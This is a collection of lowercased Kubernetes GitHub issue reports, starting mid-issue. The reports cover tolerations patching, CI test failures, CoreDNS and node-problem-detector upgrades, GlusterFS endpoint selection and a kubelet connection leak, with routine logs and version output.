metadata:\r       labels:\r         app: myapp\r     spec:\r       tolerations:\r       containers:\r       - name: myapp\r         image: nginx:latest\r         ports:\r         - containerport: 80\r    \r notice that  tolerations  is being defined as  null  on purpose.\r \r then try to patch the tolerations as outlined above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.0\ , gitcommit:\ 0ed33881dc4355495f623c6f22e7dd0b7632b7c0\ , gittreestate:\ clean\ , builddate:\ 2018-09-28t15:19:47z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: do\r - os  e.g. from /etc/os-release : ubuntu \r - kernel  e.g.  uname -a  : \r    \r root@pharos-worker-0:~  uname -a\r linux pharos-worker-0 4.4.0-137-generic  163-ubuntu smp mon sep 24 13:14:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kontena pharos\r - others:\r \r  \r <!-- do not edit below this line -->\r 

node-problem-detector recently has a new release  v0.6.0  https://github.com/kubernetes/node-problem-detector/releases/tag/v0.6.0 . we should start using the new version. this new version contains several new detection plugins. it also fixed a custom plugin bug. for more details, please see the npd v0.6.0 release notes. we also plan to cherry pick the new npd version to release-1.10, release-1.11, release-1.12 and release-1.13  branches.\r \r   /cc @random-liu \r /cc @jiayingz

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gci-gce-scalability-1.11, gci-gce-scalability-1.12, gci-gce-scalability-1.13\r \r   which test s  are failing  :\r dumpclusterlogs\r \r   since when has it been failing  :\r feb 13th 2019\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.11\r https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.12\r https://k8s-testgrid.appspot.com/sig-scalability-gce gci-gce-scalability-1.13\r \r   reason for failure  :\r the logexporter seems to be crash looping on the nodes. the error we see in the logexporter logs is\r    \r i0215 00:58:14.286410       1 main.go:68  verifying if a valid config has been provided through the flags\r f0215 00:58:34.750230       1 main.go:214  bad config provided: failed to activate gcloud service account: exit status 1\r goroutine 1  running :\r k8s.io/test-infra/vendor/github.com/golang/glog.stacks 0xc42005a200, 0xc420072000, 0x79, 0xbf \r \t/usr/local/google/home/shyamjvs/go/src/k8s.io/test-infra/vendor/github.com/golang/glog/glog.go:769 +0xcf\r k8s.io/test-infra/vendor/github.com/golang/glog.  loggingt .output 0x58c3c0, 0xc400000003, 0xc420070000, 0x573db1, 0x7, 0xd6, 0x0 \r \t/usr/local/google/home/shyamjvs/go/src/k8s.io/test-infra/vendor/github.com/golang/glog/glog.go:720 +0x32d\r k8s.io/test-infra/vendor/github.com/golang/glog.  loggingt .printf 0x58c3c0, 0x3, 0x4f7f0c, 0x17, 0xc420041f68, 0x1, 0x1 \r \t/usr/local/google/home/shyamjvs/go/src/k8s.io/test-infra/vendor/github.com/golang/glog/glog.go:655 +0x14b\r k8s.io/test-infra/vendor/github.com/golang/glog.fatalf 0x4f7f0c, 0x17, 0xc420041f68, 0x1, 0x1 \r \t/usr/local/google/home/shyamjvs/go/src/k8s.io/test-infra/vendor/github.com/golang/glog/glog.go:1148 +0x67\r main.main  \r \t/usr/local/google/home/shyamjvs/go/src/k8s.io/test-infra/logexporter/cmd/main.go:214 +0xa0\r    \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r a newer version of coredns\r \r   why is this needed  :\r currently shipped v1.3.1 is affected by https://github.com/coredns/coredns/issues/2629 issue, which causes the cluster outage if api server goes away temporarily.

@thockin's suggestion:  to prevent e2e tests that should run on both gce and gke from accidently only being run on one or the other, maybe we should rename gce and gke so that it is blatantly obvious to the author that they are exclusive, e.g.  skipunlessprovideris \ gce_not_gke\ , \ aws\    instead of  skipunlessprovideris \ gce\ , \ aws\

keystone supports many authentication systems  kerberos, k2k federation, etc  and in many of them they require many things other then just a username and password.  once you get a keystone token though, you don't have to deal with any of that. so, we need a way to authenticate to keystone with a keystone token instead of a username/password combination.

https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/25672/kubernetes-pull-build-test-e2e-gce/40216/       ...  waiting for group to become stable, current operations: creating: 6 waiting for group to become stable, current operations: creating: 4,recreating: 2 waiting for group to become stable, current operations: creating: 6  ...  waiting for group to become stable, current operations: creating: 6 waiting for group to become stable, current operations: creatingterminated  ...       assigning to team/control-plane because i know at least @mikedanese has worked on cluster deployment.

24971 exposed that the rlq does not properly handle two events added in the same clock tick.  we need to fix it since it can potentially result in the rlq being out of order, although in practice this may not be an issue.

today we automatically add the  ignore_autogenerated  build tag to all packages that are generated  to use to determine what is defined by the user or not .  however, for packages that would be generated in a second wave  like openshift, or any external api  that wants to reuse previous generated code from a vendored directory in its own conversions, those generated functions are ignored when conversion.go starts up.  if we define a  generation group  as the set of packages generated at once by any of the generators  protobuf, deep copy, conversion  that want to reuse generated methods, then any dependent  generation groups  should be able to reuse those methods.    proposed change - make the build tag different for each \ group\  - \ ignore_autogenerated_k8s\ , \ ignore_autogenerated_extension_api\ , etc.

-     have a single go implementation of the \ list then watch\  pattern. use this everywhere.   - this is about hiding the details of calling list and watch and restarting watches.    - this is about apiserver watches.  etcd use cases going away, so don't worry about them.   - the  reflector  object in  pkg/client/cache  is trying to be this.   -     reconcile duplicated implementations in  pkg/proxy/config  and  pkg/client/cache   the latter used by scheduler, and by kubelet after  3385 is merged.  differences include:     -     jittering in  pkg/proxy/config/api.go ,      -     resource-specific  serviceswatcher  interface in  pkg/proxy/config  vs generic  listerwatcher  interface in  pkg/client/cache .     -     one writes complete state to a store and the other writes deltas to a channel.      -     differences in error handling in the watch implementations: make sure we keep best from each.

atm apps that go over the memory limit are hard killed 'oomkilled', which is bad  losing state / not running cleanup code etc \r \r is there a way to get sigterm instead  with a grace period or 100m before reaching the limit  ?

the podsecuritypolicy api got defaulted to on in https://github.com/kubernetes/kubernetes/pull/39743, but kube-up does not turn on the admission controller  neither do kube-adm or gke , and we don't run any tests against it.\r \r right now, most deployments have an api object that can be created, but won't do anything  until we decide sometime later that we actually want to enable podsecuritypolicy .\r \r @bgrant0607 @pweil- @erictune

environment  :\r gke\r \r   kubernetes version  :\r \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $ kubefed version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   what happened  :\r \r create an ingress in a federation  kubectl apply -f my-api-server.yaml --context=my-federation .\r \r ingress controller creates a google cloud http s  load balancer and backend service, with an instance group for each cluster in the federation.\r \r one instance group has  balancing mode: max rps: 1 , the other instance group has  balancing mode: max cpu: 80% .\r \r   what you expected to happen  :\r \r i expect both instance groups to have the same balancing mode.\r \r if i try manually changing the second group to  balancing mode: max rps 1 , after a while it gets changed back  presumably by the ingress controller .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r  - create two gke clusters.\r  - start a trivial nodeport service in each cluster.\r  - create an ingress targeting that service via the federation control plane.\r \r   anything else we need to know  :\r \r the comment in this code:\r https://github.com/kubernetes/ingress/blob/master/controllers/gce/backends/backends.go l68:l73\r seems to imply it's ok to set the max rps to 1, but from the http s  lb documentation, it sounds like traffic will be sent to the region nearest the frontend the user is connecting to that still has capacity, with max rps = 1, no region will still \ have capacity\ , so it's unclear what the traffic behavior will be, will it round robin across all regions? or still send all traffic to the closest region by latency? what about when the service is overloaded?\r \r in the longer term:\r it would be preferable to have the ingress controller adopt a max-rate-per-instance from the deployment  perhaps an annotation on the deployment  to determined the capacity of each instance group, similar to the way the backend's health check is adopted from the readinessprobe. this would allow us to do actual capacity planning / load testing, and have traffic cascade to the next-nearest region before becoming overloaded.

patching controllerrevision while adopt/orphan failed, because the  .data  field is immutable:\r \r    console\r $ kubectl patch controllerrevision newrelic-agent-1-3791983440 -p '{\ metadata\ :{\ ownerreferences\ : {\ $patch\ :\ delete\ ,\ uid\ :\ 4ee3f9c3-4a4c-11e7-8509-6\r 4510658e388\ } ,\ uid\ :\ 4ee48463-4a4c-11e7-8509-64510658e388\ }}'\r the controllerrevision \ newrelic-agent-1-3791983440\  is invalid: data: invalid value: runtime.unknown{typemeta:runtime.typemeta{apiversion:\ \ , kind:\ \ }, raw:  uint8{0x7b, 0x22, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x3a, 0x7b, 0x22, 0x63, 0x72, 0x65, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x22, 0x3a, 0x6e, 0x75, 0x6c, 0x6c, 0x2c, 0x22, 0x6c, 0x61, 0x62, 0x65, 0x6c, 0x73, 0x22, 0x3a, 0x7b, 0x22, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x3a, 0x22, 0x6e, 0x65, 0x77, 0x72, 0x65, 0x6c, 0x69, 0x63, 0x22, 0x2c, 0x22, 0x74, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x22, 0x74, 0x65, 0x73, 0x74, 0x31, 0x22, 0x7d, 0x7d, 0x2c, 0x22, 0x73, 0x70, 0x65, 0x63, 0x22, 0x3a, 0x7b, 0x22, 0x63, 0x6f, 0x6e, 0x74, 0x61, 0x69, 0x6e, 0x65, 0x72, 0x73, 0x22, 0x3a, 0x5b, 0x7b, 0x22, 0x69, 0x6d, 0x61, 0x67, 0x65, 0x22, 0x3a, 0x22, 0x6e, 0x67, 0x69, 0x6e, 0x78, 0x22, 0x2c, 0x22, 0x69, 0x6d, 0x61, 0x67, 0x65, 0x50, 0x75, 0x6c, 0x6c, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x22, 0x3a, 0x22, 0x41, 0x6c, 0x77, 0x61, 0x79, 0x73, 0x22, 0x2c, 0x22, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x3a, 0x22, 0x61, 0x70, 0x70, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x73, 0x22, 0x3a, 0x7b, 0x7d, 0x2c, 0x22, 0x74, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x74, 0x68, 0x22, 0x3a, 0x22, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x74, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2d, 0x6c, 0x6f, 0x67, 0x22, 0x2c, 0x22, 0x74, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x22, 0x3a, 0x22, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x7d, 0x5d, 0x2c, 0x22, 0x64, 0x6e, 0x73, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x22, 0x3a, 0x22, 0x43, 0x6c, 0x75, 0x73, 0x74, 0x65, 0x72, 0x46, 0x69, 0x72, 0x73, 0x74, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x73, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x6c, 0x69, 0x63, 0x79, 0x22, 0x3a, 0x22, 0x41, 0x6c, 0x77, 0x61, 0x79, 0x73, 0x22, 0x2c, 0x22, 0x73, 0x63, 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3a, 0x22, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x2d, 0x73, 0x63, 0x68, 0x65, 0x64, 0x75, 0x6c, 0x65, 0x72, 0x22, 0x2c, 0x22, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3a, 0x7b, 0x7d, 0x2c, 0x22, 0x74, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x72, 0x61, 0x63, 0x65, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x53, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x22, 0x3a, 0x33, 0x30, 0x7d, 0x7d}, contentencoding:\ \ , contenttype:\ application/json\ }: field is immutable\r

failure cluster  84f92e3d447e29485a23  https://go.k8s.io/triage 84f92e3d447e29485a23        error text:     error during /workspace/kubetest --test --test_args=--ginkgo.focus=\\ feature:clusterupgrade\\  --upgrade-target=ci/latest-1.6 --upgrade-image=container_vm --v=true --check-version-skew=false: exit status 1           failure cluster statistics: 1 tests failed,    26 jobs failed,    103 builds failed. failure stats cover 1 day time range '14 jun 2017 02:02 utc' to '15 jun 2017 02:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | upgradetest | 26 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster | 10 |  14 jun 2017 22:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster/20  | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-master | 9 |  14 jun 2017 22:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-master/19  | | ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster-new | 8 |  14 jun 2017 23:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-6-gci-1-7-upgrade-cluster-new/18  |   current status  https://go.k8s.io/triage 84f92e3d447e29485a23

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-feature-requests \r /assign\r \r   what happened  :\r need to test equivalence cache invalidation for volumebinding predicate

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs \r /severity failing-test\r umbrella issue: https://github.com/kubernetes/kubernetes/issues/56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8901 failed to create master:\r    \r w1212 18:45:39.826  error:  gcloud.compute.instances.create  could not fetch resource:\r w1212 18:45:39.827   - the zone 'projects/k8s-jenkins-gci-scalability/zones/us-central1-f' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1212 18:46:17.718  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1212 18:46:17.719  error:  gcloud.compute.instances.create  could not fetch resource:\r w1212 18:46:17.719   - the zone 'projects/k8s-jenkins-gci-scalability/zones/us-central1-f' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1212 18:46:50.558  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1212 18:46:50.559  error:  gcloud.compute.instances.create  could not fetch resource:\r w1212 18:46:50.559   - the zone 'projects/k8s-jenkins-gci-scalability/zones/us-central1-f' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1212 18:47:23.623  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1212 18:47:23.624  error:  gcloud.compute.instances.create  could not fetch resource:\r w1212 18:47:23.625   - the zone 'projects/k8s-jenkins-gci-scalability/zones/us-central1-f' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1212 18:47:56.640  warning: you have selected a disk size of under  200gb . this may result in poor i/o performance. for more information, see: https://developers.google.com/compute/docs/disks performance.\r w1212 18:47:56.641  error:  gcloud.compute.instances.create  could not fetch resource:\r w1212 18:47:56.642   - the zone 'projects/k8s-jenkins-gci-scalability/zones/us-central1-f' does not have enough resources available to fulfill the request.  try a different zone, or try again later.\r w1212 18:48:06.642  failed to create master instance despite 5 attempts\r    \r \r this is the first time seeing this, so i'm creating this issue to track. if this repeats, we'll need to investigate possible workarounds.

is this a bug report or feature request?  :\r  \r   what happened  :\r currently when rolling update a statefulset to update containers for, binary release, the controller will delete the current pod then create a corresponding new pod, one by one. \r \r the problems with this approach are:\r - the newly created pod may not be scheduled to the same node as the previous pod. this could have impact to some services in favor of locality, for example hbase.\r - recreating the pod is more expensive than just restarting the container within the pod.\r \r   what you expected to happen  :\r - for the container changes that are safe to apply, only the changed container is restarted to pick up the change. the pod is kept untouched.\r \r   anything else we need to know?  :\r it seems to me the most challenging parts to implement this are:\r - how to determine wether the container changes are safe so that they can be updated by restarting the container in place?\r - how to check the healthiness of the pod n after its containers are updated before updating the containers in pod n-1.\r \r would appreciate any feedback on whether this request is reasonable.\r \r thanks!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r when mounting dynamically provisioned glusterfs volumes in your deployments the first ip in the endpoints object will always be used. \r \r   what you expected to happen  :\r \r according to  this example  https://github.com/kubernetes/examples/blob/master/staging/volumes/glusterfs/readme.md  a random endpoint should be picked.\r \r > endpoints is the name of the endpoints object that represents a gluster cluster configuration. kubelet is optimized to avoid mount storm, it will randomly pick one from the endpoints to mount. if this host is unresponsive, the next gluster host in the endpoints is automatically selected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. setup  glusterfs cluster with heketi  https://github.com/gluster/gluster-kubernetes  for dynamic provisioning\r \r 2. create storageclass\r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: gfs-cluster-storage\r provisioner: kubernetes.io/glusterfs\r parameters:\r   resturl: \ http://x.x.x.x:port\ \r   restuser: \ admin\ \r   secretnamespace: \ default\ \r   secretname: \ heketi-secret\ \r allowvolumeexpansion: true\r    \r \r 3. create pvc\r \r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: my-claim\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ gfs-cluster-storage\ \r spec:\r   accessmodes:\r   - readwritemany\r   resources:\r     requests:\r       storage: 3gi\r    \r \r 4. this creates an endpoints object like this\r \r    \r apiversion: v1\r kind: endpoints\r metadata:\r   creationtimestamp: 2018-04-16t07:08:19z\r   labels:\r     gluster.kubernetes.io/provisioned-for-pvc: my-claim\r   name: glusterfs-dynamic-my-claim\r   namespace: default\r   resourceversion: \ 27144006\ \r   selflink: /api/v1/namespaces/default/endpoints/glusterfs-dynamic-my-claim\r   uid: f151641d-4144-11e8-8a1b-42010a9c0067\r subsets:\r - addresses:\r   - ip: 10.0.0.1\r   - ip: 10.0.0.2\r   - ip: 10.0.0.3\r   ports:\r   - port: 1\r     protocol: tcp\r    \r \r 5. mount the pvc in any deployment or similar\r \r    \r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: nginx-deployment\r   labels:\r     app: nginx\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:alpine\r         resources:\r           requests:\r             cpu: 50m\r             memory: 100mi\r         ports:\r         - name: http\r           containerport: 80\r         volumemounts:\r         - name: my-vol\r           mountpath: /usr/share/nginx/html\r       volumes:\r       - name: my-vol\r         persistentvolumeclaim:\r           claimname: my-claim\r    \r \r 6. execute bash/sh on one of the pods and run  mount  or  df -h  to check which endpoint was mounted\r \r  kubectl exec -it nginx-deployment-xxxx sh \r  df -h \r \r 7. notice that the first ip is always used as a mount point for all pods\r \r in this case 10.0.0.1 is always used as endpoint because it's the first ip in the endpoints object.\r \r \r   anything else we need to know?  :\r \r by manually editing the endpoints object i could change which ip was listed first and use that to control which endpoint was mounted in the containers. to do that i had to assign different ports to each ip like this:\r \r    \r subsets:\r - addresses:\r   - ip: 10.0.0.1\r   ports:\r   - port: 999\r     protocol: tcp\r - addresses:\r   - ip: 10.0.0.2\r   ports:\r   - port: 55\r     protocol: tcp\r - addresses:\r   - ip: 10.0.0.3\r   ports:\r   - port: 1\r     protocol: tcp\r \r    \r \r it still didn't make it select a random endpoint though.\r \r i found  issue  13125  https://github.com/kubernetes/kubernetes/issues/13125 , which looks similar but was closed long ago.\r \r it also mentions  pr  13807  https://github.com/kubernetes/kubernetes/pull/13807/ , which changed how endpoints are selected. \r \r i suspect that the code which finds a suitable endpoint always iterates through the list of possible endpoints in the same order.\r \r   environment  :\r - kubernetes version  use  kubectl version  : tested on servers running 1.9.4 + 1.9.6\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.0\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t19:01:20z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: google cloud\r - os  e.g. from /etc/os-release : container-optimized os \r \r    \r build_id=10323.12.0\r name=\ container-optimized os\ \r kernel_commit_id=2d7de0bde20ae17f934c2a2e44cb24b6a1471dec\r google_crash_id=lakitu\r version_id=65\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=65\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r - kernel  e.g.  uname -a  : \r \r    \r linux gke-dev-cluster-pool-dev-129010f4-2z63 4.4.111+  1 smp thu feb 1 22:06:37 pst 2018 x86_64 intel r  xeon r  cpu @ 2.20ghz genuineintel gnu/linux\r    \r

i have collected some logs/data from my server and stored in a text file. now i want to display these logs/data to my own kibana. after a detailed googling i could understand that, its possible by indexing/inputting my logs/data text file to fluentd. how can i do this? \r  to apply the sig/scalability label\r \r \r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r noticed that pods on specific worker become unavailable after ~1 day,   kubectl exec  /  kubectl logs  return next error:\r    \r $ kubectl exec -it pod1 bash\r error from server: error dialing backend: dial tcp 10.128.2.183:10250: connect: cannot assign requested address\r    \r future investigation shows that the number of connections to kubelet is increasing and never close.\r on  pod1  are periodically executed 5 sec  commands from other pod, like:   kubectl exec pod1 ps  and after introduction of this change number of opened connection on worker started to grow.\r \r important points:  \r    if i execute  kubectl exec pod1 ps  master - number of open connections is not growing;\r    if i executed  kubectl exec pod1 ps  from a pod - number of open connections is increasing;\r    restarting of kubelet service drop connections and pods are available.\r    restarting of the pod which do periodically  kubectl exec  don't help - opened connections aren't reset\r    as cni is used weave\r \r   how to reproduce it  as minimally and precisely as possible   :\r on a running k8s cluster:\r   deploy a pod in which will be executed kubectl commands  pod1 \r   deploy another pod with kubectl and with permissions to run  kubectl exec   pod2 \r   login on a worker node which run  pod1 , check number of open descriptors for kubelet  ls -1 /proc/<kubelet-pid>/fd | wc -l  , check  netstat  output for kubelet\r    run execute  kubectl  commands from pod2 inside of pod1, like  kubectl exec pod1 ps \r    check number of open descriptors and connections,  now for me it is increasing descriptor count and number of connections\r \r   anything else we need to know?  :\r \r example output of netstat on worker:\r    \r $ netstat -plant\r ...\r tcp6       0      0 10.128.2.183:10250      10.128.2.179:48439      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:33398      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:43883      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:59231      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:58303      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:35768      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:59308      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:35270      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:34221      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:33154      established 8376/kubelet        \r tcp6       0      0 10.128.2.183:10250      10.128.2.179:54436      established 8376/kubelet     \r ...\r    \r \r connection number:\r    \r $ netstat  -plant | grep \ kubelet\  | wc -l\r 56270\r    \r \r pods behind  10.128.2.179 :\r    \r  user@k8s-qa2-master-1 ~ $ kubectl get all --all-namespaces -owide| grep \ 10.128.2.179\ \r kube-system     pod/etcd-k8s-qa2-master-1                                             1/1       running     0          23h       10.128.2.179   k8s-qa2-master-1\r kube-system     pod/kube-apiserver-k8s-qa2-master-1                                   1/1       running     0          23h       10.128.2.179   k8s-qa2-master-1\r kube-system     pod/kube-controller-manager-k8s-qa2-master-1                          1/1       running     0          23h       10.128.2.179   k8s-qa2-master-1\r kube-system     pod/kube-proxy-47r8z                                                  1/1       running     0          4d        10.128.2.179   k8s-qa2-master-1\r kube-system     pod/kube-scheduler-k8s-qa2-master-1                                   1/1       running     0          4d        10.128.2.179   k8s-qa2-master-1\r kube-system     pod/weave-net-x97wl                                                   2/2       running     0          4d        10.128.2.179   k8s-qa2-master-1\r \r \r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:08:34z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: k8s deployed on gcp vm instances\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r \r \r - kernel  e.g.  uname -a  :\r linux k8s-qa2-master-1 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - others:\r kubelet version v1.11.0\r docker version: 17.03.2-ce\r weave-kube:2.2.0\r weave-npc:2.2.0\r weaveexec:2.2.1\r kube-apiserver-amd64:v1.11.0\r kube-controller-manager-amd64:v1.11.0\r kube-scheduler-amd64:v1.11.0\r kube-proxy-amd64:v1.11.0\r etcd-amd64:3.2.18\r k8s-dns-kube-dns-amd64:1.14.10\r 